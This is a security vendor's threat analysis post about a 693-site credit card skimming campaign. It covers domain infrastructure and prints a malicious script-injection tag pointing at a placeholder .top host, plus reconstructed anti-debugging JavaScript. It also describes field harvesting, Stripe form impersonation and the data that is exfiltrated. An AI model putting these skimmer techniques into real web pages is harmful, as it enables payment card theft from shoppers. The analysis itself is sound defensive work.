SecurityMetrics forensic experts have identified a near 700 site skimming operation using a sophisticated, multi-channel kit designed to lock out analysts and mimic legitimate payment providers.
Credit card skimming is no longer just about a few lines of messy code. Skimming now resembles intricate, well-planned threat campaigns.
Recently, the SecurityMetrics Forensic Analysis team identified a massive, synchronized campaign involving 693 credit card skimmers.
What SecurityMetrics Forensic Analysts found beneath the surface was a technically advanced skimmer kit designed to evade detection, impersonate legitimate payment forms, and exfiltrate stolen card data through multiple redundant channels.
Because of our unique position in the industry, SecurityMetrics is currently the only entity with the data to link these disparate attacks to a single infrastructure fingerprint.
This campaign is defined by a highly deliberate infrastructure choice designed for rapid domain rotation and low cost per domain. All 693 malicious domains share a specific registration profile:
This combination (of cheap .top domains, bulk registration through a single offshore registrar, and Cloudflare as a reverse proxy)provides a veneer of legitimacy, making automated blocklisting difficult. For security teams monitoring traffic, these are the registrar details associated with the threat:
REGISTRAR DETAILS
NiceNIC International Group Co., Limited • IANA #3765 • Hong Kong, China • abuse@nicenic.net
The skimmer is injected via an external <script> tag, disguised as a site metrics library. The attackers use a site-specific path—the victim’s own domain name as a subdirectory—to give each target its own payload endpoint:
<script type="text/javascript"
src="https://[maliciousdomain].top/[sitename]/metrics.js"
id="custom-[timestamp]-js"></script>The payload is a JavaScript file heavily obfuscated using a control-flow flattening technique with hex-encoded variable names and a rotating string array, making standard signature-based detection nearly impossible.
Our forensic deep dive revealed several high-level functions that separate this kit from "run-of-the-mill" malware.
The skimmer employs a debugger-timing trap to identify if a human analyst is watching. It records a performance.now() timestamp, triggers a debugger; statement, and measures the elapsed time.
If the elapsed time exceeds a threshold (indicating a human paused on the breakpoint in DevTools), the skimmer writes a kill flag to localStorage and terminates execution. On subsequent loads, it checks for this flag and silently exits, effectively "locking out" security researchers from seeing the malicious logic.
// Reconstructed anti-debug logic:
const t1 = performance.now();
debugger;
const t2 = performance.now();
if (t2 - t1 > 100) {
localStorage.setItem('_debug_flag', '1');
terminate(); // Skimmer shuts down permanently
}
This means that if a security analyst opens DevTools and steps through the code, the skimmer locks itself out for that browser profile, making casual analysis more difficult and reducing the likelihood of detection during manual review.
The kit uses regex-based input field identification to catch data even on non-standard forms, scanning for <input> elements whose placeholder or aria-label attributes match patterns like card, number, expir, mm/yy, cvv, cvc, or security.
To complete the deception, it loads card brand icons directly from Stripe’s CDN (js.stripe.com). By rendering Visa, Mastercard, and other card type icons alongside its own fields using configurable positioning properties (icon size, offset, vertical alignment), it creates a convincing visual match for Stripe-powered checkout forms.
The skimmer deploys multiple MutationObserver across the DOM to detect changes to the checkout page in real time.
This serves two purposes:
This is where the campaign gets particularly aggressive. It uses a three-tier exfiltration strategy with automatic failover to ensure stolen data reaches the C2 (Command and Control) server:
The skimmer also intercepts paste events on card number fields. When a user pastes a card number, the skimmer captures the clipboard data, strips non-numeric characters, and injects the sanitized number back into the field using document.execCommand('insertText'). This ensures the skimmer captures card numbers even when users paste them from password managers rather than typing them manually.
The exfiltrated data object includes the card number, expiration date, CVV, the user’s browser user agent string, and the location.origin of the compromised site. This site-identification field allows the operator to sort stolen credentials by victim merchant, which is essential for a campaign operating across hundreds of targets simultaneously.
This threat actor campaign isn't just stealing data– it's actually identifying victims.
The exfiltrated data object includes the user's browser agent and the compromised site's origin, allowing the operator to sort stolen credentials by merchant.
In a landscape where attackers are using professional-grade infrastructure, you need forensic-grade protection. SecurityMetrics consistently monitors and discovers data trends, like this skimming operation, so SecurityMetrics customers can rest assured their data is protected.
Talk to a SecurityMetrics forensic analyst expert today to protect your sensitive data.
.svg)
